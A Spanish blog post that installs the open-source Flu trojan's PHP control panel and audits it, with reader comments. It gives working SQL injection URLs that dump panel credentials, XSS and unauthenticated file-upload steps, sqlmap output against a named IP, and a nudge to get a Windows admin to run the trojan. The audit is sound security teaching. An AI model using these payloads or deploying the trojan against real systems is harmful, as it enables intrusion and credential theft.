miércoles, 25 de abril de 2012

Aprendiendo sobre vulnerabilidades WEB con el Flu-Project


Esta entrada esta realizada mientras paso por una etapa de Flu, así que no se me ocurrió un mejor titulo.

Mientras tiritaba de frío en mi cama, decidí buscar en Internet sobre lo que me estaba ocurriendo, pronto empecé a entender que mis síntomas se relacionaban ampliamente con los del Flu. Así fue como me fui contagiando de este interesante proyecto.

Las motivaciones que tengo para  escribir esta entrada son las siguientes:
  • Explicar de forma práctica el tema de vulnerabilidades Web en el instituto donde enseño actualmente.
  • Motivar al lector a que piense desde diferentes puntos de vista, no siempre desde el ofensivo.
  • Hacerle publicidad al excelente proyecto colaborativo [Flu] de  Flu-Project.

Antes de explicar los fallos, debemos empezar por lo básico, ¿Qué es el  Flu?, y como no quiero decir mentiras, les dejo el enlace oficial donde se da la claridad sobre el proyecto: http://www.flu-project.com/sobre-flu

En resumen el Flu es un troyano que nos permite tener control sobre maquinas Windows y administrarlas desde un panel web creado con el lenguaje PHP, pero quizas lo mas interesante del proyecto es que es abierto y participativo, de esta forma las personas pueden ir agregando ideas para el desarrollo del mismo y al mismo tiempo ir creando contramedidas y experimentando con botnets de forma académica.

Nota: Ninguna BotNet sufrió o fue realmente lastimada durante la escritura de esta entrada. ;)

EMPEZAMOS POR LA INSTALACIÓN

La instalación del panel de control que actúa como cliente se hace de una forma rápida sobre cualquier entorno web que soporte MySQL y PHP, al panel de control lo llamamos cliente porque el funcionamiento de este esquema de troyano es como el del protocolo SNMP, esto significa que tenemos agentes (el troyano Flu) instalados en las estaciones Windows y un NMS (el panel web) que permite hacer las consultas a dichos agentes, en este contexto las consultas no son a una MIB, son peticiones de ejecución de comandos a la consola de los sistemas operativos que tienen los agentes.

Así que para instalarlo hacemos lo siguiente:

1) Descargamos la última versión de Flu:

PanelFlu# wget http://flu-project.googlecode.com/files/flu0.5.1b.rar
--2012-04-25 23:21:04--  http://flu-project.googlecode.com/files/flu0.5.1b.rar
Resolving flu-project.googlecode.com... 72.14.204.82
Connecting to flu-project.googlecode.com|72.14.204.82|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2893086 (2.8M) [application/x-rar]
Saving to: “flu0.5.1b.rar”

100%[===================================================================================================================================>] 2,893,086   5.12M/s   in 0.5s  

2012-04-25 23:21:07 (5.12 MB/s) - “flu0.5.1b.rar” saved [2893086/2893086]

PanelFlu# 

2) Desempaquetamos

PanelFlu# unrar x flu0.5.1b.rar 

UNRAR 3.70 beta 4 freeware      Copyright (c) 1993-2007 Alexander Roshal
Extracting from flu0.5.1b.rar
Creating    Servidor web                                              OK
Extracting  Servidor web/actualizarEstadoMaquina.php                  OK
Extracting  Servidor web/cerrar-conexion-bbdd.php                     OK
Extracting  Servidor web/conexion-bbdd.php                            OK
Extracting  Servidor web/configurar-ataque.php                        OK

...

3) Movemos el contenido web a donde queremos tenerlo (la raiz web)


4) Creamos la base de datos


Por omisión la base de datos se llamará flubbdd.
El usuario para entrar al sistema es admin y la contraseña 1234.


Una vez adentro encontramos los paneles de administración.



Para realizar las pruebas básicas podemos influenciar al Administrador de un equipo Windows para que ejecute el Flu.

AHORA SÍ, 

A lo que vinimos, a aprender seguridad web con el Flu!

El punto que quiero poner a consideración es el enfoque que tenemos como usuarios en un momento dado. El Flu es una herramienta académica (sus forks quizás no) y cuando la estamos usando es porque queremos practicar nuestra mentalidad ofensiva, pero incluso en ese momento deberíamos de verificar que nuestras herramientas ofensivas no puedan ser vulneradas. 

Hay casos reales donde Botnets han caído porque han fallado sus sistemas, han roto los sistemas de cifrado o de acceso a los paneles de administración, se imaginan a un Hyper BotNet Master  capturado porque su propia herramienta es vulnerable?, casos se han visto ...

El paralelo de las vulnerabilidades va contra el DVWA que es una herramienta para aprender bastante conocida ;)

A)  BRUTEFORCE

Es posible hacer ataques de fuerza bruta contra el panel de administración del Flu, en ninguna parte del código aparece un mecanismo de defensa, aunque el mismo podría estar en otra capa (UTM, WAF, etc).

El problema lo encontramos en el archivo login.php

B)  ATAQUE XSS (REFLECTED)


En este tipo de ataques el usuario ingresa algo y el sistema se lo devuelve, si el usuario ingresa código HTML/Javascript el sistema lo devuelve y el browser del usuario lo ejecuta, ustedes ya conocen la teoria. Donde puede existir una vulnerabilidad?


http://host/consola.php?maquina=XXXXXX__000C29834EED

Inyectamos el XSS en la consola de comandos.


El error se encuentra en el archivo consola.php


C) ATAQUE XSS (STORED)

**(no requiere estar logueado en el panel)

Este ataque es mas interesante puesto que el ataque XSS quedará almacenado en el panel del Flu y cuando el administrador lo use ejecutará una y otra vez el script que diseñemos. La forma de explotar la vulnerabilidad es reportar una nueva máquina ante el panel. ¿Cómo sabe el panel que la nueva maquina supuestamente infectada es real?, ¿Que mecanismo de protección usa?

Lo hacemos haciendo una petición HTTP así:

http://23.23.223.210/actualizarEstadoMaquina.php?m=MAQUINA_IMAGINARIA&s=5.1

En la variable m, podemos inyectar el XSS y observamos como aparece en nuestro panel.


El error esta en que no hay una forma de validar si la maquina nueva es real o no y textualmente leemos en el código:


"//Si no existe, creamos una nueva tabla con su IP, donde almacenaremos los comandos lanzados con sus respuestas. Y a�adiremos una nueva entrada
//en la tabla t_maquinas donde se encuentra el listado de todas las m�quinas infectadas por Flu"

Así que el panel creará una nueva tabla por cada petición que hagamos, como esta información debe ser recuperada para mostrarla en el panel principal, podemos hacer un XSS que se almacene, recuerden entre mas silencioso, mejor XD



El problema lo encontramos en el archivo actualizarEstadoMaquina.php 


D) SQL INJECTION

(requiere estar logueado en el panel o hacer un CSRF, XSS ;)


Ejemplo 1. 
Podemos intentar obtener los usuarios y claves de la base de datos del panel Flu, haciendo un SQLi así:

http://23.23.223.210/verInformacion.php?maquina=190.69.1.42__MAQUINA_IMAGINARIA%20WHERE%201%20UNION%20SELECT%20user,password%20from%20t_usuarios


El problema en este caso se puede ver en algunas variables a las que no se les ha puesto comillas simples, otras en cambio si las tienen.


Ejemplo 2. 
En el visor de imagenes:

http://23.23.223.210/verImagenes.php?maquina=XXX.XX.XX.XX__MAQUINA_IMAGINARIA%20WHERE%200%20UNION%20SELECT%201,concat(user,0x3A,password)%20from%20t_usuarios%20--

Hacemos click derecho sobre la sombra de la imagen y la guardamos con cualquier nombre, cuando la abramos con un editor de texto o la visualicemos en la consola, podremos ver algo así:

bash-3.2# cat verImagenes.jpeg 
admin:1234
bash-3.2# 

Lo interesante en este segundo ejemplo es que no es necesario estar logueado en el panel de administración.

E) SQL INJECTION BLIND

Como ejemplo podemos usar el mismo archivo verImagenes.php, con el parámetro id:

http://23.23.223.210/verImagenes.php?maquina=MAQUINA_IMAGINARIA&id=[sqib]

En este caso el ataque solo funciona si tenemos por lo menos un pantallazo de la maquina objetivo (para poder identificar el TRUE/FALSE). Intentemos obtener los usuarios del sistema MySQL donde esta el panel Flu.

bash-3.2# python sqlmap.py -u "http://23.23.223.210/verImagenes.php?maquina=200.32.0.1__003cF2F85098&id=1" -p id --users

    sqlmap/0.9 - automatic SQL injection and database takeover tool
    http://sqlmap.sourceforge.net

[*] starting at: 20:01:21

[20:01:22] [INFO] using '/Users/hax0r/sqlmap/sqlmap/output/23.23.223.210/session' as session file
[20:01:22] [INFO] resuming injection data from session file
[20:01:22] [INFO] resuming back-end DBMS 'mysql 5.0.11' from session file
[20:01:22] [INFO] testing connection to the target url
[20:01:23] [WARNING] the testable parameter 'id' you provided is not into the Cookie
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: id
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: maquina=200.32.0.1__00FFF2F83003&id=1 AND 4499=4499
    Type: UNION query
    Title: MySQL UNION query (NULL) - 1 to 10 columns
    Payload: maquina=200.32.0.1__00FFF2F83003&id=1 UNION ALL SELECT NULL, CONCAT(CHAR(58,112,104,102,58),IFNULL(CAST(CHAR(66,66,99,75,115,88,102,88,118,67) AS CHAR),CHAR(32)),CHAR(58,98,122,105,58))#

    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: maquina=200.32.0.1__00FFF2F83003&id=1 AND SLEEP(5)
---

[20:01:23] [INFO] the back-end DBMS is MySQL

web application technology: Apache 2.2.22, PHP 5.3.10
back-end DBMS: MySQL 5.0.11
[20:01:23] [INFO] fetching database users
database management system users [5]:
[*] ''@'domU-12-31-39-09-30-5F'
[*] ''@'localhost'
[*] 'root'@'127.0.0.1'
[*] 'root'@'domU-12-31-39-09-30-5F'
[*] 'root'@'localhost'

[20:01:23] [INFO] Fetched data logged to text files under '/Users/hax0r/sqlmap/sqlmap/output/23.23.223.210'

[*] shutting down at: 20:91:23

F) CSRF

Podemos decir que todas las acciones que ejecute el administrador del panel no requieren verificación ni comprobación por lo que será muy fácil explotar CSRF en el panel.

Un ejemplo es el siguiente donde podemos agregar comandos a la BotNet sin que el administrador se entere, usando el archivo saveCommands.php y la variable commands.


G) UPLOAD FILE (de forma arbitraría)

**(no requiere estar logueado en el panel)

Esta vulnerabilidad permite subir el archivo que queramos al sistema donde esta instalado el panel Flu.


Como ejemplo creamos un archivo y lo convertimos a base64:

bash-3.2# nano test.php
bash-3.2# cat test.php 

bash-3.2# openssl base64 -in test.php -out test.php2
bash-3.2# cat test.php2
PD9waHAKCnBocGluZm8oKTsKCj8+Cg==
bash-3.2#

Creamos el HTML para enviar POST:


bash-3.2# cat flupload.html

bash-3.2#


Luego enviamos el form y listo, tendremos un archivo .php dentro del sistema (own the BotNet?).


La vulnerabilidad en este caso se encuentra en el archivo RecibirArchivo.php por dos motivos:

1. No valida que tengamos una sesión abierta, porque entonces una maquina nueva con el Flu no podría conectarse y enviar la información. Ups!

2. No hay comprobación de las variables nombre y formato.


H) OTROS

Otros aspectos que se pueden tener en cuenta para el futuro desarrollo del panel Flu son:

** Almacenamiento inseguro de los datos:

Las claves están almacenadas en texto plano en la base de datos MySQL.

** Claves por omisión:


En el archivo RecibirDatosVictima.php, encontramos:
$key = "qwertyuioplkjhgf";
$iv = "qwertyuioplkjhgf";


Son los valores usados para cifrar los datos enviados por el Flu, sería interesante que el usuario los pudiera definir desde el panel de administración.


CONCLUSIONES


Si estas actuando en modo ofensivo no pierdas el foco en la seguridad.


Si puedes colaborarle al proyecto Flu desarrollando y aportando ideas, en poco tiempo tendremos un software estable, lleno de características con las que todos podemos seguir aprendiendo.


Las vulnerabilidades están en todos lados, no pensemos que porque se trata de un software ofensivo no es peligroso, se puede volver peligroso si alguien decide darle un uso inadecuado(adecuado?). Un ejemplo de atacar al atacante lo pueden leer aquí.


Piensa en los scanners, exploits, crypters, encoders, ofuscadores, parches de seguridad, archivos de actualización, cracks, piensa sobre todo, en esos que te consigues en "el bajo mundo" donde siempre pensamos que todas las personas tienen un deseo de ayudar y que todo lo que se publica se hace con el ánimo de compartir y pelear contra el sistema (Abajo la leylleras2.0.exe). 
Muchas de las veces el TARGET seremos nosotros.


Saludos!

3 comentarios:

Juan Antonio Calles dijo...

Gracias por las aportaciones Fernando :)

Juan Esteban Unad dijo...

Excelente!!! que tema tan interesante, Gracias Fernando.

Jeyson Henao dijo...

Hola,

Interesante analisis y contirbucion al proyecto nonroot. Nunca he utulizado la herramienta antes, pero como mencionas al ser un proyecto que cualquier persona puede hacer uso de el y facilmente crear un fork, sino se toma esa dedicacion de analisis al codigo podria facilmente tu labor ser un referente si andubiera un fork con la tecnologia FLU! xD.


Saludos...

Entradas populares